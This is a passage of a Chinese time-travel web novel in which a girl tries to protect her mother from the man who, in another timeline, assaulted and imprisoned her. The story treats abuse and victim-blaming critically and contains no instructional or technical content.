方文彬一眼就看穿她心思只是笑笑:“我真没其他想法,明松好歹叫我一声哥,我自然不会对他姐姐坐视不理。” 宋芳确实没在他身上感受到恶意,咬了咬唇,心想他总不能和随机招来的司机勾结要害自己吧? 想想她又折回去拆了车轮子上那把锁准备用来防身。 一路上惴惴不安,到底还是安全回到了家,宋芳先去奶奶家。看见在床上睡觉的宋国梁,他早就回来了。 宋芳气不打一处来上前狠狠一耳光抽醒他。 老太太诶诶诶地追过来,双手着急地一拍大腿:“你打他干什么,你个死妮子!” 宋芳红着双眼:“从今往后我不会再管你了!” 宋国梁被打醒也恼着:“不用你管!” “你以后学爱上不上,也别再问我要钱了,我没那么多钱给你。” 老太太在边上咋呼:“那怎么行!你是她姐你不管他谁管他,你就算砸锅卖铁也要管到底!” “奶奶!”宋芳直视着老太太,这是她第一次对奶奶生出了反抗之心,带着坚定地说,“爸妈去世后就是我一直在养他,我没读过什么书所以一直不希望弟弟妹妹吃我吃过的苦,既然宋国梁不愿接受我这份心,那也就不强求了。” “以后他的事你也不用来找我了,反正他怎么样你们都不会看着他被饿死的不是吗?” 老太太听不懂她究竟在说什么,只听见了宋芳真要不管弟弟了,急得呼唤屋里睡觉的老伴。 可惜老头子是万事不管的,被人扰了好梦反而骂了几句,翻个身又睡了过去。 宋芳趁机脱身跑了,在回家路上忽然觉得步伐轻盈,原来放下某些东西时真的一身轻。 妹妹说得没错,她的人生不应该是为了弟弟,也不该是为了妹妹,而是为自己而活的。 ~ 宋尔雅不知道宋芳为什么怎么开窍不管宋国梁了,把老太太愁得天天上门劝说,从开始的强势,到后面反而对宋芳说起了软话。 她就守在旁边看着,一见宋芳要有心软的迹象就赶紧插嘴。老太太好几次温情都没进入气氛,就先被她气得脸皮子发抖,说不下去了。 “奶你别说了,喝口水吧。”宋尔雅给她倒水,想想又补充,“这次我可没放盐。” 老太太狐疑半天,接过去喝了又喷出来。 她放了白醋。 沈明松伤还没好全,在隔壁院子和明珠一起剥水煮花生,声音都传到他们耳朵里来了。 明珠听得一愣一愣地,停止了手中动作:“这孩子怎么这么皮?” 沈明松嚼着花生米:“她就那样。” 老太太牙酸得装不下去,抄起扫把要揍宋尔雅,结果她把人溜了一圈,两条腿迈向隔壁院子去了。 毕竟沈明松辟邪。 老太太站外院门口骂了几句,终究是没进沈家。 明珠抓了一把剥好的花生给宋尔雅吃,“瑶瑶,你很讨厌你哥哥?” 宋尔雅拿着花生找了凳子坐下来:“没有哇,我为什么要讨厌哥哥?”说完她才慢悠悠地反应过来指的宋国梁 宋尔雅不可能拿他当亲哥看,主要是宋国梁太没有存在感了,她来这里两年和他就少有交流。 实际她和舅舅也不熟,她都九岁了才知道自己有个舅舅,还是个坐完牢出来就找到宋芳各种方法要钱,狗皮膏药一样甩不掉。 一个连舅舅都当不好的,怎么会当好哥哥呢。 她补充说:“我最喜欢明松哥哥了。” 沈明松猝不及防地咳嗽一声,差点被花生噎到,他侧目看她。 宋尔雅神色认真。 第26章 第 26 章 畜生不得好死 这波未平那波又起, 宋国梁某天夜里偷偷收拾行李跑了,留下字条说要和沈路桦到外面赚大钱去。 这可把老太太愁得在院子里拍大腿大哭,哭孙子要到外面吃苦去了, 也哭被他偷走的那些钱。 宋尔雅半喜半忧,喜的是这回真的不用管宋国梁了,忧的是方文彬找到她家来了。 之前的事情已经在公安局结案, 该坐牢的都坐牢,方文彬应该和沈明松没再有什么纠葛了, 鬼知道他跑过来是想干嘛。 宋尔雅放学回来看到了他那辆白色小轿车, 气得想拿板砖砸。 因为这一年的私家车很少见,周围街坊都从家门口探出脑袋来看看是什么事, 宋尔雅远远就看见宋芳和方文彬交谈什么。 方文彬穿着休闲西装, 带着眼镜, 人模狗样的, 咋一看还挺像??x?长辈眼中文化高、工作好的精英人士。 恰好宋芳喜好就是文化人。 李大婶那几个人偷偷拉住路过的宋尔雅,大着嗓门问:“宋小妹, 那个男人是不是你姐姐对象?” 宋尔雅一听这话就不乐意了,板着脸:“你们不要乱讲。” 这些人最爱八卦, 有点风吹草动往他们嘴里走一遭, 就得变成天塌下来了, 离谱得很。 方文彬到来和沈明松无关,他从汽车后备箱里搬出一辆自行车放地上:“车我给你找回来了。” 宋芳定眼一看, 俨然就是自己被偷的那一辆,她本以为车丢了就找不回了, 上班又是刚需,隔天就去买了一辆新的。 现下车子回来了,还换上了新轮子, 她知道像方文彬这种混的人会有自己的帮派,找找小偷小摸简直轻而易举,或许就是他手下小弟偷的呢。 她奇怪又不解看着眼前男人,他无缘无故的为什么要帮自己? 方文彬推推眼镜框,笑容和善:“我和姓沈那小子是有恩怨没错,和你又没有,我只是想证明我没你想象中那么坏,怎么样啊,小姐?” 宋芳没有那么好骗,坚信无事献殷勤非奸即盗,但还是道谢了,她把那天的打车以及换车轮的钱还给他。 方文彬拿着钱叠了叠,拉过宋芳衣摆往她口袋里塞。 宋芳连忙躲开:“你干什么,别动手动脚!” 宋尔雅像是一颗炮弹冲刺过去,撞得方文彬连连后退。 “滚开,不要来我家!”宋尔雅毫不掩饰自己的厌恶。 姐妹两人都不待见他,方文彬只好好脾气的笑笑,回到了车上,在关门的那一瞬神色阴恻恻。 看着那人的车离开,宋尔雅内心依旧充满危机感,男人想要找个老婆之前都惯会伪装,想尽办法来表演自己好的一面,演技比谁都真。 晚上她给宋芳辅导英语时,追问她怎么和方文彬有交集的,宋芳就简单的说了那天的事。 宋芳说:“虽然他不像什么好人,但好歹帮了我,也不算太坏。” 宋尔雅忧心忡忡:“姐姐,你可千万千万千万不要嫁给那种人。”她担心方文彬就是宋芳那个畜生前夫。 “你在胡说什么。”宋芳大惊失色,用笔敲了一下妹妹脑壳,“我为什么要嫁那种人?” “总之,我看他不像什么好人。”宋尔雅翻了翻英语教材,轻轻叹气。 她想她得穿回去查查究竟,那个畜生究竟是不是方文彬。 可是她要怎么才能回去呢?她每次穿越都没有任何征兆和规则,说穿就穿了。 真是愁人。 现在家里有了两辆自行车,宋芳要了旧的,新的给宋尔雅以后上高中用。 说来有些丢人,她不会骑自行车。 之前旧的那辆是二八杠她上都不会上,现在买了新款式的,她还是学得心惊胆战。 陶冬冬都无语了:“坐上去两脚一踩不就会了吗?” 话是那么说,宋尔雅踩骑踏板还是控制不住的摇晃,车头更是扭来扭去。 陶冬冬推着后座帮着她往沿着环海路开,那边道路窄大车是开不进来的,都是些黄昏去散步和钓鱼的人,几乎没什么风险。 但那边有一个大斜坡。 沈明松就坐在斜坡下边的草地边上钓鱼,穿好诱饵后他将鱼线甩进海里,远远就听到陶冬冬的声音。 “大胆点,不要怕。” 这两个猴子一样的少女凑一起,简直是上窜下跳的,吵闹声惊着路边的人,都纷纷让到一边着看她们以一种搞笑的姿势将自行车艰难的移动着。 宋尔雅丑态百出,安慰自己凡事都有第一次不丢人,而且陶冬冬也在身后扶着,她就没那么怕了,渐渐地也就掌握了平衡。 陶冬冬忽然说:“掉头,别往前开了。” 宋尔雅极快回头看了一眼,小脸写满了惊恐:“你什么时候松手了!” 陶冬冬人在好十几米外招手叫她回来,双手做喇叭状:“前面有坡!” 完了完了! 等宋尔雅反应过来时车子已经随着惯性往坡下飞快滑动,这坡又长又高的,别人骑车上来都要站起来蹬,从这里摔下去的话她会疼死的。 车轮子轱辘轱辘滚,宋尔雅都忘了要捏把手上的刹车,脑子倒是灵光一闪。 她跳车了。 自行车溜溜地往坡下行驶撞到路边电线杆才停下,往地上一倒。 宋尔雅却因为惯性不断地往路边柔软草地一直跑,双腿停都停不下来,她跑到沈明松身旁,眼见还要继续往海里跑时及时获救。 沈明松双手腾空抱起她,骂道:“鱼被你吓跑了。” 宋尔雅惊魂未定,好一会儿才缓过来,指了指海边:“你的鱼竿。” 沈明松扭头看去,鱼竿被拖进了海里,他二话不说跳海里去捞。 海面溅起一片水花。 宋尔雅坐到草地上去拔卡到了小腿上的拖鞋,余光忽然瞥见一根草在动,定眼一看是条青色小蛇。 “啊!” 她惊跳起来,连连后退之下终于还是掉进了海里。 海水瞬间淹没了她脑袋,都往她口鼻里灌,又呛又咸,过了一会儿那种咸味消失。 沈明松找到鱼竿又抓回上钩的鱼,从海面冒出脑袋来,好几米外的海面有双手在扑腾。 沈明松:“……” 怎么这么多灾多难的。 ~ 视野陷入一片漫长的黑暗中,听觉往远扩散,宋尔雅听到自己浅浅的呼吸,伴随着机械细微的运转声和衣服布料摩擦。 好安静。 嘴里那股海水腥咸味已经荡然无存,她眼皮动了动。 “醒了就别装了。” 她实在装不下去,索性睁开眼睛。 因为是躺着的缘故,宋尔雅看人都是仰视,病床前的男人长腿叠坐在椅子上,凤眼低垂,眉骨打下很深一片阴影,半阖眼睛里黑压压的,犹如风雨欲来的前兆。 宋尔雅腰上还有骨穿伤口,上次穿回来也被摔得不清,她现在坐不起来,半天没等到男人下一句,只好伸出一只手去扯他衣服,摆出可怜兮兮地模样讨好道:“叔叔。” 她已经见过沈明松发脾气的样子,年轻时拿刀砍人,而到了现在不露声色的年纪,着实猜不出他在想什么。 他如沉寂山,山压在她身上聚拢起阴霾,她清楚他现在很生气。 宋尔雅本想等着他发难,可冗长的寂静过后,心里七上八下地来回碾压好几次,最终还是她先败下阵来:“叔叔我错了。” 沈明松眼底浮现出愠怒。 她车祸晕倒后,肯定会被送回医院,而开车的段西瑞这会估计正在被他老妈教训。 宋尔雅心里给他点蜡同时也给自己点了一根。 虽然沈明松不会揍她,但是她还是有些忐忑的。怕他不骂人,更怕他生气了也不表露出来。 连连偷看他好几次,最后手掌朝上冲他摊开:“要不叔叔你打我吧,你不要不理我呀,你这样好吓人,我会好好检讨我跑出医院的事的。” 沈明松盯她好了一会儿,才有了动静。 他用手掌托着后背将她抱了起来,小心地避开了她后腰上的骨穿伤口,轻轻地让她靠在床上。 “为什么跑出去?” 宋尔雅说:“太无聊了,想去玩。” 她坐起来看人,才没了那股居高临下的压迫感。以为能靠着装傻混过关,沈明松靠着椅背长腿又重新叠在一起:“说吧。” 说什么,她刚刚不都认错了吗? 沈明松:“尔尔,你很不乖。” 宋尔雅茫然地望他。 “还记得叔叔早上说了什么?” 宋尔雅更迷茫了,她这一天之内来回穿越好几次,却在那边过了快两年。半天才回忆起早上沈明松给她看了宋瑶的死亡证明,还说了…… “等你可以说了,再告诉叔叔吧。” 她想起这句话。 沈明松在等她说什么?她有什么可以说的? 宋尔雅抬头和他对视上,汗流浃背了:“叔叔你干嘛这样看着我,除了跑出医院,我真的没干其他坏事了。” 他一瞬不瞬地察看她面部表情变化,似乎在探寻着她心中的秘密。 她对他能有什么秘密,总不能是她能来回穿越的事吧? 沈明松收回视线,穿插一起的十指紧了紧,似乎有些失落。 “我究竟要说什么?”宋尔雅真的糊涂。 她低头看到床头柜子上的小木盒,和段西瑞离开得太匆忙她并没有锁上,日记本正摆放在最上面,旁边还静静躺着个iPad。 心头狠狠一跳,她感觉自己遗忘了什么重要的东西,一时半会之间有想不起来。 有些烦躁地抓抓头发,然后发现自己没有头发。 “对了叔叔,我妈妈的前夫是谁?” 沈明松又猛地看过来,视线锋??x?利,并没有奇怪她突如其来的问题,嘴角下沉,轻轻吐出一个答案。 方文彬。 宋尔雅眉头狠狠一跳。 还真是这个贱人! 沈明松又说:“问吧,尔尔还想知道什么?” 宋尔雅心绪被其他事情占领,并没注意他的奇怪。 她忙着追问两人是怎么结婚的,希望沈明松多少能知道一点他们之间的事情,让她之后穿到那边时好阻止。 沈明松目光落到桌面的iPad。 霎时,宋尔雅也想起自己究竟遗忘了什么。 她焦急地去拿iPad解锁找到了之前匆匆看过几眼的那张拘留单。 “我局于1997年12月4日23时0分将涉嫌非法拘留、□□的方文彬刑事拘留,现拘押在椰城看守所。” 非法拘留、强\奸。 宋尔雅有了不好的猜想,脸色煞白:“方文彬伤害的是我妈妈?!” 沈明松闭了闭眼睛,没有否认。 接下宋尔雅问了什么,他知道的都说了出来。 方文彬第一次侵犯宋芳之后,宋老太太觉得的丢死人了,不准宋芳去报警。而在方文彬答应给了他们一笔钱作为彩礼,说会负责到底要娶宋芳。老两口一听,觉得这个方案很好。 那个年代光闲言碎语就能逼人上吊,无论错得是哪一方,都劝女性将就忍让,他们也让宋芳忍。 从来没有人在意宋芳的意愿,家人逼着她摆酒结了婚,说什么人家还能娶他就不错了,一切都当那场犯罪没发生过,实现大团圆结局。 从此宋芳被拘在方文彬家中几个月后才被救下来,她绝望之中生出反抗,宁愿不要名声也去公安局报了案。 方文彬被抓了进去,他却背后有人,很快就被保释出来,后续被拖着迟迟进展不了。 宋芳害怕被他报复,选择不再追究连夜逃离椰城,从此踏上了背井离乡之路。 宋尔雅没想是这种真相,她以为宋芳后半生的命运已经足够苦了,未料前半生却更为残忍。 怎么会是这个样呢? 她以为母亲顶多是被渣男欺骗,没想过会是被强迫的。 她悲愤交加,心情一下起伏太大,浑身都气得抖起来,胸口控制不住的抽动,怎么都压不下去突如其来的崩溃。 她一哭身伤口牵扯疼了,视线在模糊,意识也正在渐渐消散。 她知道了,原来一次次的穿越都像是在提醒,给她机会改变。 沈明松意识到什么,掰着她脸让她清醒一点:“听我说,1997年,六月……” 可是他只能说到一半,声音骤然消失。 第27章 第 27 章 神经病 沈明松抱着宋尔雅浮出海面, 水位只到他胸口那么高,却没过了她口鼻。人在感受到死亡前总是要挣扎的,宋尔雅如抱住一根浮木拼死攀在他身上。 他把她往上托了托, 往岸边游:“你别乱动。” 上了岸,陶冬冬也赶来到这边了,顺了顺她挡脸的湿发:“瑶瑶你没事吧?” 宋尔雅又突然地穿过来了, 情绪未被消化也跟着来,一边被呛得咳嗽一边忍不住哭, 听不清谁说了什么。 她瘪着嘴哭, 泪如雨下,黑发湿漉漉地披在单薄的肩头后背。 沈明把将她拉起仔细检查, 以为她是哪儿磕了碰了疼了。 夏日衣裳薄, 湿透的布料紧贴在身上, 隐隐透着肤色, 他抬高了视线:“没事了,你别哭。” 宋尔雅啜泣了一会儿, 慢慢地缓过来,一双通红的双眼看向沈明松。迟钝的思考着穿过来之前他没能说的那句话是什么意思。 她猜测六月的某一天可能是宋芳出事的日子, 而这时已经是三月底了。 并且, 她联想到了一点, 那个iPad似乎是沈明松故意留在病房的,是为了让她看到里面的信息? 他从一开始就在提示她! 他是知道了自己会穿来这边? “你吓死我了。”陶冬冬声音将她的思绪拉回笼, 她帮她拧掉头发上衣服上的水,“你不会骑车, 怎么也不会游泳呢?” 陶冬冬认为,住海边的人天生就能在水下呼吸。 宋尔雅何止不会游泳,她压根就没有一项能拿得出手的运动, 以她真正的身体来说,能跑能跳都费劲,自然没去学过什么。 沈明松把自己衣服脱下大力拧干,猛甩了几下,让风吹了一会居然就半干了,让她套着回家,宽大的衣服穿在她身上像条短裙。 他去将她那辆自行车捡了回来,骑出来还是全新,推回来就磨损了,前面车篮子被撞瘪了,沈明松用扳手锤了几下给弄回原来形状。 吃了一次教训之后,学车倒是没那么困难,虽然也摔了几次,宋尔雅也总算是学会,每天都和陶冬冬一起骑车上学,省了十几分钟的上学脚程。 而她目前最苦恼的是怎么弄死方文彬那个畜生。 ~ 命运照着轨迹运行,方文彬像蚊子一样招人烦,越靠近夏天就越频繁出现,他相中了宋芳,频频约她出去吃饭看电影,被拒绝了也没关系,花束礼盒总会高调的摆放在家门口。 追人的套路就那些,街坊又不是瞎子,很快又有了新的八卦可以谈。 宋尔雅走在路上都会有人问她姐姐是不是谈恋爱要嫁人了,更有人说宋芳就是因为这个才不管弟弟了,怕他耽误自己人生大事。 “死八婆,日日讲闲话不怕屁股生疮,你阿爸才死了你阿妈嫁人,再乱叫我戳爆你屁\股\洞!”宋尔雅是乖乖好学生,但不代表她不会讲脏话。 多嘴的街坊瞠目堂舌,未料想过她反应这么大,看她生气地将花束踩烂,火上浇油道:“你怎么这样说话,你姐该要好好教你了。” “这天要下雨娘要嫁人,你也想开点,你姐总不能管你一辈子,你这个做妹妹的体谅体谅,可别误了你姐姐好事。” “等你长大了,也是要嫁人的。” 有人努努嘴:“她和沈家那小子,不就……” 宋尔雅用树枝叉了一坨路边狗屎给他们扔过去了,街坊们尖叫着四散跑开。 下班回来的宋芳接到投诉,她好笑道:“你理他们做什么,说了就说了,我们就当没听见,没有做过的事情怕什么。” 宋尔雅很生气:“我下次要扔他们嘴里,不许说就是不许说!” 正是这些闲言碎语将宋芳逼到死路上的,明明是方文彬做恶,他们却只会讨论受害者,对她妈妈评头论足,最后宋芳同意摆酒结婚后,他们话风又变成了方文彬还没那么坏,至少愿意负责。 自从知道这些事情,宋尔雅平等讨厌每一个嘴碎的,如果可以,她想把狗屎塞他们嘴里。 宋芳觉得妹妹气鼓鼓地模样好笑又可爱的,到底还是小孩子脾气呢。 宋尔雅越想越气,第二天大清早悄悄去了宋老太太家,扔了一块石头将他家窗户给砸了。 这个死老太婆也是母亲苦难的罪魁祸首之一。 可恨! ~ 周末宋尔雅骑车去了机场找到宋芳工作的商店,想她看看她工作环境和身边的人。然后就听到她同事们在休息区时谈论起了方文彬,夸他好。 宋芳那些同事看方文彬开着轿车,长得好也会哄女孩子,还爱屋及乌经常送些小礼物给她们,认为这是宋芳的天赐良缘,叫她不要错过了。 “说实话,彬哥真得挺不错了,有钱又大方帅气,小芳你真的就不心动?”说话的同事脸圆圆的,年纪不大的小女生,看着就很好相处,她还会把巧克力分给大家。 宋芳让他们别说了,沈明松提醒过她,方文彬以前有个老婆,因为他赌博家暴而跑了,光是这几点她就不可能会动心的。 还有他就是看来有文化而已,底子还是小混混,她喜欢是学历高的。 同事听她这么说,满脸可惜。 圆脸女生把巧克力分到宋尔雅这里,看她就拿了一颗她热情地又多塞了几颗进宋尔雅口袋里:“跟你小娟姐客气什么,来,多吃点,小姑娘就爱吃这个,又香又甜的。” 小娟? “姐姐你姓方吗?”宋尔雅抬头问。 方小娟笑眯眯:“对啊,你姐姐和你说的?” 宋尔雅表情变得严肃了。 宋芳日记里写方小娟是她朋友也是同事没错,可他们一起上班的地方并不在机场这边。 她渐渐明白两个世界是一样的,唯一不同的则是,这个世界里她代替宋瑶活了下去。 她不能改变自己原本世界走向,却又可以能影响这边。 这一边的母亲明明提前学了英语在机场这边找了工作,理应会错过和方小娟相识的机会。 难道是命运过于强大,该遇见的人,该发生的事还是会发生? 宋尔雅心事重重地捏着巧克力,看着锡箔纸上的英文??x?,以宋芳的工资来说她是绝对不会购买这个品牌的零食,这对普通人来说过于奢侈了。 方小娟刚从学校出来找到这份工作不久 ,这工作有外表要求,她穿得很得体,化着很浓的妆,但没遮住黑眼圈,身上有淡淡酒味。 宋尔雅注意到她双手很粗糙,一看就是干重活的,不像家庭条件好的。 方小娟发觉到宋尔雅在看她,有些不自在地整理了下丝巾,恰好这一动反而露出了些青紫色肌肤来。 下班之后,穿高跟鞋站了一天的宋芳第一时间就换上了常服和布鞋,双脚得到解放都舒服不少。 方小娟打开更衣室里的柜子拿衣服,和宋芳闲聊:“小芳,彬哥前几天不是送了你条项链吗,怎么没见你戴过,上面的钻好闪呢?” 宋芳从未收下过方文彬任何东西,他看似大方的送礼只会给她徒增流言蜚语,她难掩厌恶:“你不要老和我提他。” 方小娟笑:“害羞了?” 宋芳没什么好说的,忽尔就想到哪里不对:“你怎么知道他送了什么?” “彬哥说的呗。”方小娟钻进了隔间换衣服,出来时长衣长裤,比送宋芳还要朴素几分。 她去挽她手:“一会儿我们去吃凉拌牛杂还是什么?” 说着就走出更衣室去招呼在外面等的宋尔雅。 也才四月天,这椰城的天气已经热得如火炉,吹出来的风都是热的,小饭馆里开着大风扇,冰凉过的糖水入嘴后,才有了丝丝凉快。 宋尔雅热得完全吃不下面,就可着勺子喝糖水了,她看方小娟满头大汗,询问:“小娟姐,你怎么还带着丝巾,不热吗?” 方小娟下意识地去摸脖子,整理了一下:“忘了取了。” 虽是这么说,到底她也没取下来。 吃完面和宋家姐妹告别之后,方小娟在路边招呼了一辆摩的,摩的师傅一听她报出地址后,不免打量起她来,最后落在她胸口上。 “看什么!”方小娟怒喝。 师傅的眼神更猥琐了,调戏她:“小妹一晚赚多少钱啊,听说你们钱唰唰就来” 方小娟和他吵了起来,那师傅嘴可比她厉害多了,骂人又脏又难听,最后一口痰在地上:“呸,装什么清高。谁不知道你去那里是干什么的。” 方小娟气得手脚都在抖,觉得自己像是被扒光了衣服站在大街上。 她竭尽全力地自证清白,冲摩地师傅离开的背影尖叫:“我和她们不一样!” 她不坐摩的了,伸手招了路边计程车过来。 车子行驶在在椰城黄昏中,最终停在灯红酒绿处。 方小娟下车一抬头就看见“夜色”辉煌的大招牌,她走进小巷子里从后门进入,七拐八拐后才到了舞女休息的宿舍。 一间宿舍住了十几个人,各种东西挤得满满当当的,女生都忙着在唯一的镜子前化妆。 她们看见方小娟回来,态度都很冷漠,化完妆后陆陆续续出去上班了。 直到宿舍只剩自己,方小娟脱下衣服换上背心短裤,疲倦地躺到自己床上,枕头被熏上了酒味,她觉得这样的生活自己快要忍受不下去了。 门突然被推开,她还以为是哪位舍友回来,没想进来的是方文彬,赶紧站起来,胆怯地低下头:“彬哥。” 方文彬将门关回去,见她衣着暴露也没有要回避的意思,摆出笑脸:“艳艳,最近上班上得怎么样?” “彬哥坐。”方小娟给他搬来了凳子,也不敢反驳他,进了这里她就得叫艳艳。只是她不用和别人一样去上班,方文彬给她找了机场工作,那里赚的钱干净。 她还想去给他倒水,忽然被一把扯住头发,方文彬刚刚还很温和的神色变得冷冰冰的,镜片下的眼睛恐怖骇人:“是不是日子过得太好了,就不把彬哥放眼里了。” 方小娟牙关打颤,害怕地求饶:“不是的彬哥,我不敢的。” 方文彬又松开了手,脸色恢复如常,就仿佛刚才的冰冷不存在,揉揉方小娟肩头上的淤青:“艳艳,你要知道彬哥对你的好,你看谁能像你一样不去上班?” “彬哥的好我知道的。” 方文彬推了推镜框:“你看我,快三十岁了,也没有个老婆,好不容易喜欢上个姑娘,你得帮帮彬哥不是?” 方小娟拼命点头。 “ 乖啊,等彬哥办酒时,一定给你包个大红包,然后送你回家。” 方文彬没再发难,把一直拿在手里的礼盒丢给她后离开了。 方小娟好半天才敢去捡那礼盒,她明白这都是宋芳拒绝不要的。 方文彬对他们这些人和对宋芳的态度不一样,他受了气也不会当着宋芳面发泄出来,只会在别的地方找补回去,他这种阴晴不定的人,感觉比强哥还要可怕得多。 方小娟无比后悔当初听信了同乡说要带她出来大钱的话,可后悔也没有用了,她只剩下唯一回去的机会。 第28章 第 28 章 惊险 时间推移到期末, 陶冬冬紧张得要死,跟着宋尔雅苦读成绩确实提升不少,考个高中没问题, 但她想和宋尔雅上同一所学校。 这个时候,宋尔雅的保送名额已经敲定了。 也有比德育更好的高校向她伸出橄榄枝,可那些学校离家太远需要住宿, 宋尔雅本身就怕被关着,不乐意住学校。 德育有钱, 学校建得非常气派, 开设有更多的国际课程,相对来说是比较好的选择, 并且德育开出免除她学杂费的诱人条件。 中考比暑假要早上好一段时间, 早早就要开始布置考场了, 学校给初三学生放了几天假, 让大家这几天也不要松懈下来,好好复习迎接考试。 宋尔雅在学习上一向刻苦自律, 并不焦虑学习问题,这个月以来高度紧张的都是宋芳动向, 每天提醒她注意安全, 下班了赶紧回家, 方文彬是坏人小心被他绑架。 宋芳并没有什么异常,更不和方文彬单独在一个空间相处。 她白天去上班, 一下班就回来了,晚饭过后去隔壁看一会电视剧, 回房间后又学两个小时英语后睡觉,日复一日。 宋尔雅小假期里每天跟着宋芳去上班,当然她也不能总待在店里, 她就在机场商场里的休息长椅上坐着,复习老师给的资料。 机场开着空调,比待在家里凉快多了,宋芳还以为她是来避暑的。 方小娟空闲时会朝那边看一眼,机场人来人往还伴随着巨大的广播声都影响不了她一点,坐累了她会站起来伸展一下。 少女身姿亭亭玉立,芙蓉面上未施粉黛,引起路人驻足侧目。 方小娟不得不承认宋家姐妹都生得好,比夜色最受欢迎的头牌都要惊艳,方文彬死缠烂打想要宋芳做老婆也没什么可奇怪的。 如果宋芳能到那边工作,远远比这里工资要多得多。 可是并不是谁都能放下清白和尊严的,连方小娟自己都放不下。 她想回家,想重新回学校念书,如果她能回得去,是不是也能和这个少女一样青春灿烂,依旧能迎来更好的未来? 方小娟眼里渐渐亮起了光芒,同时也消失了某一些东西。 中考那天,宋芳下班后急着回去问妹妹考得怎么样,店长却突然说要请大家聚餐,已经打电话去福满楼订好了包厢,都没给她回绝的机会。 方小娟抱着她手臂笑盈盈:“你妹妹学习那么好,不会考砸的,而且她不是保送了么,你急啥?” 宋芳想想也是,便用店里座机给沈家里打了电话,是明珠接的。 之后一群人热热闹闹去了酒楼,店长自己带了自家酿的酒来给所有人都倒上,说是好东西,连女生的酒杯也给满上了。 灌酒文化盛行,也没人说不,宋芳小酌一口,确实香醇浓厚。 福满楼不愧是大酒楼,做菜地道好吃,配着酒入肚让人上头。店长让大家尽情吃喝。 方小娟似乎很能喝酒,直接抱着酒瓶子不放了,频频要和宋芳碰杯,还笑她:“小芳,你酒量不行啊。” 宋芳摸摸自己滚烫的脸,脑子确实有些糊涂了:“不喝了。” 有人笑她:“小芳喝醉了呢。” 聚餐结束都晚上八点多了,天色彻底暗下来,宋芳靠着椅子上双目微阖。 一个男同事站起来:“我送小芳回去吧。” 方小娟也跟着站起来揶揄道:“还是我来吧,你一个大男人不方便吧。” 男同事被戳破心事,不好意思地挠了挠头,但还是好心帮忙扶着人到了楼下。 方小娟拧开一瓶水给宋芳:“先喝点水吧。” 宋芳喝了之后,就更困了。 方小娟就让男同事先走了,自己会安全把人送回家的,她没去叫计程车,??x?而是等一辆私家车开过来后,把宋芳塞了进去。 看着车屁股渐渐远去,方小娟在心里道歉,可是她太想回家了,她害怕这里。 她茫然地站在路边上,一时不知道自己要去哪里,她不敢去想宋芳会遭遇什么,每想一秒良心上都遭受着巨大的谴责。 不是她自己要做坏人的,她是被逼的,方小娟拼命地安慰自己。 一辆摩托车猛地窜过来,明晃晃的拦住了她的去路,车上跳下来一位少女,方小娟一看是宋尔雅,下意识地转身就跑。 宋尔雅焦急地去推开车的人:“抓她抓她,她一定有问题!” 沈明松收到命令,一个箭步冲过去没多远就在一个拐角按住了方小娟。 方小娟尖叫:“啊,你、你干什么?放开我。” 少年力气很大将她抵在墙上,她用尽了全身力气也挣脱不开,想去咬他还反而被掐住了下颌。 沈明松不知道眼前这个女人是怎么回事,也就没有开口,等宋尔雅追上来后把方小娟推到她面前,依旧紧紧抓着她手臂按着她肩头不让她跑。 宋尔雅冷冷地看着方小娟:“我姐姐呢?” “你姐,你姐喝醉被其他同事送回去了,你出来路上没遇见吗?” 宋尔雅咬着牙:“她在哪里?” 在考完试回来后,她得知宋芳打电话回来说要聚餐晚回,瞬间就警惕起来了,喊来沈明松跟她一起去找人…… 他们先去了聚会的酒楼,那时人已经散了,还好遇见没走远的一个同事,才知道宋芳被方小娟带走了。 如果她没看过母亲日记本,她是不会在没有任何证据的情况下就随便动手。 日记本上提到方小娟后就消失了一些页面,后面这个名字就也没再出现过。 如果她真的是母亲的好朋友,为什么母亲后面就再没提起过她呢。 是因为翻脸了,或是背叛? 宋尔雅从见到方小娟的第一眼就察觉出这个人不对劲,从方才她见她就跑的举动中也表明了,她不可能是完全无辜无知的人。 “我没时间和你废话,我姐呢?是不是被方文彬带走了?” 方小娟摇头:“都说了,她被……” 宋尔雅用尽全力给了她一个耳光:“别说废话,说地址!” 沈明松抬眼诧异看她,头回见她发火。 方小娟的脸一下就被打肿了,她没有被打后的发怒,反而慌得厉害:“不知道,你们快放开我,不然我喊非礼了。” 宋尔雅从口袋掏出一把水果刀来抵住方小娟脖颈:“你不说就死吧。” 此刻她懂了当初沈明松要掐死沈向国的心情,没人能平静的看着亲人被伤害的。 方小娟惊慌地对上她视线,冷漠和愤怒交汇在她眼底,她没有咬牙切齿,反而是沉寂的透着恨意。 方小娟忽然觉得她是认真的,这个只有十来岁的少女可能下一秒真敢捅她刀子。 方文彬都没对她有过这种要杀了她念头。 “她被彬哥带去家里,其他的我不知道,我也是被逼的……” “地址!” 方小娟摇了摇头,这个她真不知道。 宋尔雅徒然冒起戾气,只想弄死这个女人。 沈明松松开方小娟,大手抓住宋尔雅手腕用力一捏,刀子便拿不稳掉地面上了,方小娟趁机跑了。 “你!” 宋尔雅才追一步就被沈明松拦腰抱住,往摩托车那边走:“没时间了,我们去方文彬家。” 她立马停止挣扎,差点忘了,日记里写沈明松翻窗救的宋芳,所以他一定知道方文彬家地址。 ~ 另一边,宋芳感觉脸上一阵温热,一睁眼就是方文彬离得很近很近的脸。 “你干什么?你怎么在这,这是哪里?”她惊恐地坐起来。 方文彬拿着热毛巾给她擦脸,动作很轻柔,像是在抚摸自己恋人:"你喝醉了,还难不难受?" 再大的醉意此刻也被吓醒了,宋芳赶忙从床上爬起来连连远离男人,紧张检查自己完好的衣物。 “为什么总是这么怕我,我又不会对你做什么?”房间内的灯光很白,落在方文彬那张脸上变成了灰白色,他幽暗的眼神十分诡异。 宋芳被他盯得浑身起鸡皮疙瘩,眼睛刚移到门口,方文彬就过去把门关上了。 他对她笑:“我只是想和你说说话,过来,听话一点。” 宋芳没动,她很清楚男女之间的力量差距,不想和他正面起冲突,偷偷观察周围有没有能当武器的东西。 方文彬等了她一会儿,忽然暴怒地冲过来拖着宋芳按到了床上:“你又不听话了,为什么你每次都要忤逆我,我对你不好吗?” 宋芳吓得对他又踢又打:“神经病啊你,滚开!” 方文彬猛地掐住她脖子遏制住了她的呼救:“我有钱的时候,你对我百般恭顺,又温柔又包容,我以为你会好好当一位妻子,后来我没钱了给你娘家了,你第一时间就变了。” 方文彬喘着粗气,神色骇人而疯狂:“你说,人为什么可以为变脸那么快?” 在宋芳快要被掐断气前,他又松开了手,见她咳嗽还帮她拍拍后背顺气:“对不起了小芳,我刚刚认错人。” 